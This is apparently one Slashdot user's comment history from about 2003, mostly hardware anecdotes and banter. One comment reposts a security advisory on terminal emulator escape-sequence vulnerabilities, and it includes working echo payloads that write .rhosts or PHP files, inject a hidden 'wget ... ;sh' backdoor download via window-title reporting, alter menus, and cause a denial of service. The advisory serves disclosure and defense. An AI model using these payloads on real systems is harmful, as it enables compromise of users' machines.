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  1. Re:In case of slashdotting... on Getting Hacked Through Your Terminal · · Score: 0, Flamebait

    I was expecting that I would get a bit of thanks, maybe some karma. It'd be fine if someone thanked me. Fucking ungrateful leeches.

  2. Re:In case of slashdotting... on Getting Hacked Through Your Terminal · · Score: 0, Offtopic

    Fine. Let's /. YOU and make YOUR DSL connection feel like 56k, see how THAT feels.

  3. Re:In case of slashdotting... on Getting Hacked Through Your Terminal · · Score: 0, Offtopic

    I would, but as I said before, I'm pissed after sacrificing my connection (mirroring Starship Exeter), and not getting ANY thanks. My ping went from 50 to 900. My DSL felt like dialup.

    Some karma would have been nice, but nooooo. Just kill my connection and leave. Freaking leeches.

  4. Re:In case of slashdotting... on Getting Hacked Through Your Terminal · · Score: 0, Offtopic

    You'd be suprised how easily a site can go down.

    (Yes, it is karma whoring, but after all the shit this site has given me, I think I deserve some karma. Did you know that I sacrificed my connection to mirror the Starship Exeter vids? That site went DOWN. I mean DOWN. My mirror was actually useful. I was listed as a mirror by the Exeter guys. Did I get ANY karma? No.)

  5. In case of slashdotting... on Getting Hacked Through Your Terminal · · Score: 0, Informative

    TERMINAL EMULATOR SECURITY ISSUES
    Copyright © 2003 Digital Defense Incorporated
    All Rights Reserved

    [ Table of Contents ]

    -- Summary
    -- Disclaimer
    -- Escape Sequences
    -- Remote Exploitation
    -- Screen Dumping
    -- Window Title Reporting
    -- Miscellaneous Issues
    -- Terminal Defense
    -- Tested Emulator Versions
    -- Vulnerability Index
    -- A Fictitious Case Study
    -- References
    -- Credits

    [ Summary ]

    Many of the features supported by popular terminal emulator software can be abused
    when un-trusted data is displayed on the screen. The impact of this abuse can range from
    annoying screen garbage to a complete system compromise. All of the issues below are
    actually documented features, anyone who takes the time to read over the man pages or
    source code could use them to carry out an attack.

    [ Disclaimer ]

    There is nothing new in this paper. The entire concept of exploiting a terminal by
    supplying hostile input has been around for over 10 years now. Unix veterans and BBS
    users have been exposed to this type of problem since the very beginning, a newsgroup
    search can turn up all sorts of exploits, from the ever-popular "flash" program to the
    abuse of logging features in xterm which were disabled in R5. Therefore the purpose of
    this paper is to identify weaknesses in the current suite of popular terminal emulation
    software, not to rehash an ancient problem.

    [ Escape Sequences ]

    Typically, an escape sequence is a series of characters starting with the ASCII escape
    character (0x1B) and followed by a specific set of arguments. Escape sequences were
    originally used to control display devices such as dumb terminals and have been extended
    to allow various forms of interaction with modern operating systems. An escape sequence
    might be used to change text attributes (color, weight), move the cursor position,
    reconfigure the keyboard, update the window title, or manipulate the printer. Over the
    years, many new features have been added that required enhancements to the terminal
    emulator applications to support them.

    [ Remote Exploitation ]

    To exploit an escape sequence feature, an attacker must be able to display arbitrary data
    to the victim's terminal emulator. While at first glance that may seem rather unlikely, the
    attacker can take advantage of a number of small bugs in other applications to increase
    their chance of success.

    Just about every network service that uses syslog will pass remote data directly to the
    daemon without filtering the escape character. The responsibility then lays on the syslog
    daemon to strip the escape code before writing the log entry to the disk or terminal.
    Although both the stock *BSD syslog daemons as well the sysklogd package filter escape
    sequences, msyslog, syslog-ng, and the logging daemons supplied with many commercial
    UNIX-based operating systems do not.

    While sending data directly to a vulnerable syslogd or rwalld service is the most direct
    form of attack, there are literally dozens of other ways to place hostile binary data onto
    the terminal of a remote user. The Apache web server makes an effort to clean garbage
    from its access logs, but it still allows escape characters to be injected into the error logs.
    Many command-line network tools can be exploited by a hostile service response, some
    examples of this is include wget, curl, ftp, and telnet.

    Multi-user systems are especially vulnerable, as any user can send a system-wide
    message under the default configuration of most operating systems. Placing the attack
    data into the banner of a popular FTP server, telnet service, or message of the day file
    will increase the chance of finding a valid target. Certain console email clients refuse to
    display files when the content-type of an attachment is set to a unrecognized value, so the
    user must save the file and then read it on the command line, often just using the standard
    "cat" utility.

    [ Screen Dumping ]

    Eterm and rxvt both implement what they call the "screen dump" feature. This escape
    sequence will cause an arbitrary file to be opened and filled with the current contents of
    the terminal window. These are the only two tested emulators[1] that still had the ability
    to write to files enabled by default. Although rxvt will ignore dump requests for existing
    files, Eterm[2] will happily delete the file and then create it again. Although it is
    technically the same feature, the OSC code used to trigger it is different between the two
    emulators. For rxvt, the screen dump code is 55, for Eterm, it is 30. It is possible to
    control the entire contents of the file by specifying the reset sequence, then the required
    data, followed by the screen dump command.

    $ echo -e "\ec+ +\n\e];/home/user/.rhosts\a"

    The same approach can be used to create an authorized_keys file for SSH, a replacement
    passwd file, or even a hostile PHP script written to the user's web directory. This attack
    requires no interaction on the part of the user and would be very difficult to detect if done
    correctly. The primary difference between this issue and some of the others mentioned in
    this paper is that the actual "exploitation" happens on the system running the emulator
    software, not the current system that the terminal is accessing. The code that is
    responsible for opening the dump file is shown below. /* rxvt */
    if ((fd = open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >= 0) /* Eterm */
    unlink(fname);
    outfd = open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_IWUSR);

    [1] XFree86's xterm disabled an equivalent feature in X11R5 due to security concerns. It
    can still be enabled with a compile-time option.

    [2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however many recent Linux
    distributions still shipped with 0.9.1.

    [ Window Title Reporting ]

    One of the features which most terminal emulators support is the ability for the shell to
    set the title of the window using an escape sequence. This feature was originally
    implemented by DEC for DECterm and has since been added to most emulators in use
    today. The easy way to set the window title of a terminal is using the echo command:

    $ echo -e "\e]2;This is the new window title\a"

    When the output of the above command is displayed on the terminal, it will set the
    window title to that string. Setting the window title by itself is not much of a security
    issue, however certain xterm variants (and dtterm) also provide an escape sequence for
    reporting the current window title. This essentially takes the current title and places it
    directly on the command line. Due to the way that most emulators processes the escape
    sequence, it is not possible to embed a carriage return into the window title itself, so the
    user would need to hit enter for it to process the title as a command. The escape sequence
    for reporting the window title is:

    $ echo -e "\e[21t"

    At this point, the attacker needs to convince the user to hit enter for the "exploit" to
    succeed. There are a number of techniques available to both hide the command and
    encourage the user to "press enter to continue". The simplest is to just insert a prompt
    followed by the "invisible" character attribute right before reporting the title. Another
    method is to set the foreground and background colors to be the same (all black or white)
    and hope the user hits the enter key when trying to determine what happened. The
    following example for xterm demonstrates a sequence that downloads and executes a
    backdoor while hiding the command line. The "Press Enter >" string should be changed
    to something appropriate for the attack vector. Some likely candidates include "wget
    internal error: press enter to continue" or "Error: unknown TERM, hit enter to continue".

    $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

    Any terminal emulator that allows the window title to be placed on the command-line is
    vulnerable to this attack. The applications which were confirmed vulnerable include
    xterm, dtterm, uxterm, rxvt, aterm, Eterm, hanterm, and putty[1]. The tested applications
    that did not allow the title to be written include gnome-terminal 2.0, konsole, SecureCRT,
    and aterm.

    [1] Although putty would place the title onto the command-line, we were not able to find
    a method of hiding the command, since neither the "invisible" character attribute nor the
    foreground color could be set. Putty has a relatively low limit to the number of characters
    that can be placed into the window title, so it is not possible to simply flood the screen
    with garbage and hope the command rolls past the current view.

    [ Miscellaneous Issues ]

    Eterm should be given an award for the "Easiest to Compromise" terminal emulator. The
    developers based much of their code off of the rxvt and xterm source, so Eterm tends to
    share the same problems as those two emulators as well. If you happen to be running a
    CVS version of Eterm from between February 10th and May 8th of 2001, it was possible
    to execute an arbitrary command just by displaying the following escape sequence:

    $ echo -e "\e]6;73;command\a"

    Fortunately, this feature never made it into an official release, the "fork-and-exec" ability
    was replaced by the script action spawn() instead.

    During the research process, a number of small bugs were found that would either lock
    up the emulator completely or crash it. Although they can be disregarded as simple denial
    of service attacks, they could be abused to prevent an administrator from seeing
    subsequent logs during a compromise. In general, the code which processed application-
    side input seemed to place little emphasis on sanitizing the data before passing it directly
    to system-level functions. While there was some effort made to avoid standard buffer
    overflows, much of the loop-based character processing appeared ripe for a denial of
    service attack. An example of this is a bug in the DEC UDK processing of XFree86's
    xterm application, the following command will place the process into a tight resource-
    eating loop:

    $ echo -e "\eP0;0|0A/17\x9c"

    This bug was reported to xfree86@xfree86.org on December 17th, 2002 and no response
    was received as of the publication of this writing. The hanterm application is also
    vulnerable to this issue, as the code base started off as a direct copy of xterm.

    Both rxvt and aterm support a feature known as the menuBar. This feature allows the user
    to create drop-down menus at the top of the terminal screen using both menu
    configuration files and escape sequences. Anyone able to display data on the terminal
    could modify the menu entries in a way that would compromise the system when
    accessed. This type of attack relies more on social engineering, but still provides a
    potential entry point when nothing else is available. The example below will create a new
    top-level menu item called "Special" with a single item labeled "Access", when clicked it
    will download and execute a backdoor from http://127.0.0.1/.bd and exit the shell.

    $ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"

    [ Terminal Defense ]

    The ideal solution is to sanitize all data before displaying it on your terminal, however
    without a custom terminal application or data filter, you can't guarantee that every tool
    you use on the command-line is going to strip escape sequences. The responsibility
    should rest on the actual terminal emulator; any features that allow file or command-line
    access should be disabled by default and more attention should be paid to new features
    that implement any use of escape sequences.

    The tested terminal emulators that were not susceptible to the screen dump or window
    title attacks include KDE's konsole, Gnome's gnome-terminal, Vandyke's SecureCRT,
    and Sasha Vasko's aterm. Konsole and gnome-terminal each use their own independent
    code-base and didn't try to support the same massive feature set as the others.
    SecureCRT took a similar approach, emulating just the minimum needed to be usable.
    With aterm, the code was originally based on rxvt, however many of the dangerous
    features were removed as the project progressed.

    [ Test Emulator Versions ]

    xterm: xf86 4.2.0 (patch 165)
    aterm: 0.42
    rxvt: 2.7.8
    Eterm: 0.9.1
    konsole: 3.1.0 rc5
    putty: 0.53
    SecureCRT: 3.4.6
    gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
    hanterm-xf: 2.0

    [ Vulnerability Index ]

    The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE
    candidate namess for all issues described in this paper.

    CAN-2003-0020 Apache Error Log Escape Sequence Injection

    CAN-2003-0021 Screen Dump: Eterm
    CAN-2003-0022 Screen Dump: rxvt

    CAN-2003-0063 Window Title Reporting: xterm
    CAN-2003-0064 Window Title Reporting: dtterm
    CAN-2003-0065 Window Title Reporting: uxterm
    CAN-2003-0066 Window Title Reporting: rxvt
    CAN-2003-0067 Window Title Reporting: aterm
    CAN-2003-0068 Window Title Reporting: eterm
    CAN-2003-0069 Window Title Reporting: putty
    CAN-2003-0070 Window Title Reporting: gnome-terminal
    CAN-2003-0078 Window Title Reporting: hanterm-xf

    CAN-2003-0071 DEC UDK Processing DoS: xterm
    CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf

    CAN-2003-0023 Menubar Manipulation: rxvt
    CAN-2003-0024 Menubar Manipulation: aterm

    [ A Fictitious Case Study ]

    Jim is the sole administrator for the web server farm at a moderately sized ISP. Most of
    his company's clients maintain their own sites and Jim's primary responsibility is to keep
    the web servers online and secured. Jim spends some of his spare time dabbling with
    PHP and uses his workstation as his development system. The workstation is on the same
    network segment as the rest of the servers and the firewall only allows TCP port 80 and
    443 inbound. Jim has a new 2.5Ghz P4 and finally has enough processing power to run
    the Enlightenment window manager with all the tweaks. His favorite part about
    Enlightenment is the terminal emulator, Eterm, which lets him make the background
    transparent and do all sorts of imaging tricks. Jim keeps a tail process running for the
    error_log files on each server he manages, allowing him to easily spot script bugs and
    misconfigurations before the customer calls him to fix it.

    Andre is pissed. Some "friends" from his old hacking group have posted some
    embarrassing photos of him on the group's home page. The page is hosted in the ~user
    directory on a web server at some dinky ISP his old friend uses. He starts poking at the
    web server only to give up about 30 minutes later after failing to find a single vulnerable
    CGI or outdated service. He starts up Nmap again, this time on the whole class C that the
    web server resides in, determined to take down the entire subnet if he has to. He finds
    another web server, this one is running a traceroute gateway that is vulnerable to meta-
    character injection. Andre manages to get an outbound shell back to a bounce system and
    proceeds to poke around. He finds what appears to be an OpenSSH public key in the /tmp
    directory, named JimH.pub. Looking at the key file, he sees that the userid stored in it is
    for jim@jimsbox.weeisp.com. A quick check shows that jimsbox.weeisp.com not only
    resolves to an external address, but is also running a web server.

    The index page of Jim's web server consists of a couple pictures of him, some links to his
    favorite news sites, some screenshots of his new super-leet desktop, and some of his
    latest PHP projects. The first PHP project link Andre clicks on immediately starts
    spewing errors, complaining about not being able to connect to the database. The error
    message itself is interesting though, since it contains the full path to the script that
    triggered the error. Andre makes a quick note of this and keeps digging around, hoping
    for an easy entry point. As soon as he pulls up the desktop screen shots, he knows he
    struck gold. The screen shot not only shows a scantily clad Italian model in the
    background, but an Eterm open tailing the logs of the same server his pictures are being
    served from. He gets to work, hitting the workstation with every tool he can find, but an
    hour later he still hasn't busted a shell. While looking through the screen shots again,
    Andre gets the idea to look at the Eterm documentation and see what other features it
    supports. Not only is the documentation easy to read with plenty of examples, but it
    mentions an interesting feature described as a "screen dump".

    About two hours later, Andre finally manages to get Eterm and its 60 megabytes of
    support libraries compiled. He discovers that to force Eterm to write out a file, all he has
    to do is display a certain sequence of characters to the screen. The question now is how to
    get those characters onto that Eterm at 4:30 in the morning. After a quick review of the
    Apache source code, he finally finds a spot in the error handling code where he can inject
    arbitrary data into the log files. All he has to do is send a request for a file with the escape
    sequence he wants to use and Apache will write the unfiltered data directly to the log file.

    Now that he can write arbitrary files to the workstation, he has to find a method of using
    it to gain access. Andre is pretty sure that the workstation is running SSH, but the only
    ports available are 80 and 443. He remembers that the PHP errors he saw earlier provided
    the full path to the web root, if he can write files there, then he run commands through the
    web server. Five minutes later, Andre is connecting to the target web server and sending
    a GET request for a string generated with the following command:

    $ echo -e "\ec\e]30;/home/www/htdocs/owned.php\a"

    This command clears the current screen buffer, displays his hostile PHP code to the
    screen, and then uses the screen dump command to write it into the web root. He points
    his browser to http://jimsbox.weeisp.com/owned.php?c=id and starts the process of
    rooting Jim's workstation, stealing his SSH keys, and taking those horrid pictures (as well
    as the rest of the group's files) off of that web server.

    [ References ]

    This Paper and Associated Tools
    --- http://www.digitaldefense.net/labs/whitepapers.htm l
    --- http://www.digitaldefense.net/labs/securitytools.h tml

    Recognized Escape Sequences
    --- Eterm: http://www.eterm.org/docs/view.php?doc=ref
    --- xterm: http://rtfm.etla.org/xterm/ctlseq.html
    --- dtterm: http://hpc.uky.edu/cgi-bin/man.cgi?section=all&top ic=dtterm
    --- rxvt: http://www.rxvt.org/refer/rxvtRef.html

    Solar Designer's Post on Syslog Filtering
    --- http://marc.theaimsgroup.com/?l=bugtraq&m=96938656 931350

    ADM's "The Evil Escape Sequences"
    --- http://www.attrition.org/security/advisory/ADM/adm .evil.esc.advisory

    AmigaOS Escape Sequence Exploits
    --- http://www.abraxis.co.uk/SA-2001-11-08.html

    MS-DOS/Windows Key Redefinition
    --- http://lists.insecure.org/lists/bugtraq/1994/Jul/0 029.html

    Multiple Emulator Window Resize DoS
    --- http://archives.neohapsis.com/archives/bugtraq/200 0-05/0409.html
    --- http://groups.google.com/groups?selm=E12zFeu-00075 I-00%40ixion

    The Original "Flash"
    --- http://www.parallaxresearch.com/files/unix/exploit s/flash.c
    --- http://groups.google.com/groups?selm=342k7c%243ne% 40news.ysu.edu
    --- http://www.phrack-dont-give-a-shit-about-dmca.org/ show.php?p=47&a=4

    [ Credits ]

    This paper was written by H D Moore, with much help from the rest of the Digital
    Defense Operations Team. I would like to thank Solar Designer for providing some great
    feedback on the original draft and Mark Cox for handling the CVE candidate generation
    and vendor coordination.

  6. Remembered another one on Your Most Damage-Resistant Hardware? · · Score: 2

    When I was installing a new mobo for a friend of mine, it was my first time installing a mobo. It was a brand new Asus P4PE. I connected the power button connector the wrong way, one pin off. Powered it up, fans spun up, there was a small ZAP, then the fans spun down again. After many tries, I found the problem. It booted up just fine.

    That mobo is pretty fscked up, tho. It's missing a few of the connectors it's supposed to have. There's one space where it looks like an IDE connector (onboard RAID, probably) used to be.

  7. Re:loads of stuff on Your Most Damage-Resistant Hardware? · · Score: 1

    1) I didn't think the IDE cable part was dangerous either, but a good buddy of mine (THE IT department for Corrections Canada in Ontario) says it can be. Actually, when I rebooted after unplugging the power, I killed my Antec TruePower330watt. Shorted the +5 to ground, according the the Antec support guys.

    2) I remembered another thing, when I had my old box it had a hot-swap sort of HD cage thing, you could just pull it out the front. I had a lot of fun booting up win98SE and yanking it out. It'd actually keep going, as long as I didn't do anything. I could still move the mouse around, but things like the start menu didn't work, for obvious reasons.

  8. loads of stuff on Your Most Damage-Resistant Hardware? · · Score: 2, Funny

    I've dropped my HDs, left an IDE cable plugged in while that HD's power was unplugged, etc.

    Every time my old box crashed while playing GTA3 I'd hit the top of the case. The CD-ROM was in the top slot, and I once hit it hard enough to scratch the CD.

    I've also had PCs running while I messed around inside, i.e. changing cooling, which involves moving all the cables around.

  9. Re:Why? on SMP-Oriented Video Card Round-up · · Score: 1

    I have a mobo sitting on my dresser that features an intel 810e. 4mb too. It's easily the shittiest motherboard I've ever seen, even the guy who built my current box had to ask "what the hell is this shit?". It's a really fucked-up board. It has a Socket 370 and a Slot 1, and if you plug in a USB hub, it'll keep the CMOS memory alive, in case the battery dies, which happened to mine. The computer it came in had a 145watt PSU.

    Compared to my current box (Asus P4B533, P4-1.8, 256MB, Sapphire Radeon 7000 64MB, 420watt Vantec Stealth Aluminum PSU, etc), it's amazing I lived with that P.O.S. for so long.

  10. Re:This should go further on Open Source Book a Collective Effort · · Score: 5, Insightful

    "but not the typical ebook. we should have an open source reader which can be used to create books that are more compatible in content. Use this as a starting point to 'ram the message home'"

    We already have two. They're called ASCII and HTML.

  11. Re:Not where I'm from on Remotely Counting Machines Behind A NAT Box · · Score: 1

    Or is it San Andreas? London? That nameless place from GTA2?

    (GTA3 and VC aren't the only GTAs)

  12. Re:Ah, yes on Slashback: Slammer, Frames, Pop-Ups · · Score: 1

    I suppose I stand corrected, although after my long experience with 98, I was pretty sure of it.

  13. Re:I got the prefect anti-slashdot idea... on Appreciation For All Things ASCII · · Score: 0, Troll

    Wow. That is honestly the most intelligent idea I've ever heard on all of slashdot. ...automatically translate the images to ASCII art...
    Why didn't I think of that?

  14. Re:Don't forget ASCIIMATION STAR WARS on Appreciation For All Things ASCII · · Score: 1

    Oh man how I love bb. Me and my friends, in English class, were watching it once on my laptop while the rest of the class was reading, our teacher came over and asked what we were doing. It was at the stage with the spinning donut. What did I answer? "I'm not sure."

  15. Re:Ah, yes on Slashback: Slammer, Frames, Pop-Ups · · Score: 1

    Well, explorer shell = IE. It's handled a bit differently, but the engine is still loaded. It just has to load a few menus and other gooey stuff.

    At least that's how it was when I was using 98 SE, although it looks to be the same with XP. Damnit I wanna get my linux box up and running.

    (gooey = GUI, for those who can't read between the lines)

  16. Re:Ah, yes on Slashback: Slammer, Frames, Pop-Ups · · Score: 1, Informative

    Actually, AFAIK, IE also takes a few seconds to load. It just happens to be loaded with the OS. Mozilla has a doohickey for loading it into RAM too (it's not on by default tho), if you really care about startup time.

  17. Re:Untitled on The 1991 "X-Box" · · Score: 1

    You don't understand that by cracking MS's protection (whatever shit makes a futile attempt to keep linux off the XBox), we get a really good way to thumb our noses at MS.

    Hey, how do you thumb a nose anyways?

  18. Re:The name is a bit long? on Palladium Changes Name · · Score: 1

    I see. Hmm. Yet another time education doesn't give the full story, as I see it.

  19. Re:The name is a bit long? on Palladium Changes Name · · Score: 1

    I'm not sure. The knowledge bestowed by a 7th grade French Immersion math class isn't all that great.

    Although wouldn't the rectangular give the correct idea? Would rectangle-based prism be better? We do this with words like "prisme a base rectangulaire" (note that the "a" should have a grave accent).

  20. Re:The name is a bit long? on Palladium Changes Name · · Score: 1

    "making a purple cube"

    You just stated that is ISN'T a cube.

    Al, don't act as though you aren't Al. You're more transparent than Microsoft's claims regarding the monopolization of the computational (how's THAT for a big word?) industry.

  21. Re:The name is a bit long? on Palladium Changes Name · · Score: 1

    If you define cube loosely, as a 3-dimensional object where all 3 dimensions are the same length, yes. If you want to get even more technical, then yes, nothing can be a cube.

  22. Re:The name is a bit long? on Palladium Changes Name · · Score: 4, Funny

    Technically the gamecube is a rectangular prism, not a cube. Mesure one yourself.

  23. Re:Blame Canada! on Bad News From Canada On NetTV And Media Levies · · Score: 1

    We legalized weed? Fuck, either someone's a little TOO high, or I've been living under a rock.

  24. (oops, forgot to close the link) n/t on Maine School & Linux · · Score: 1

    ./ error messages that piss me off:

    Cat got your tongue? (something important seems to be missing from your comment ... like the body or the subject!)

    This exact comment has already been posted. Try to be more original...

  25. Re:Kids and computers on Maine School & Linux · · Score: 1
    Oh, and here's where I'm getting that price from.

    It's $69, not $66 (I try not to remember the details of the worse parts of my box)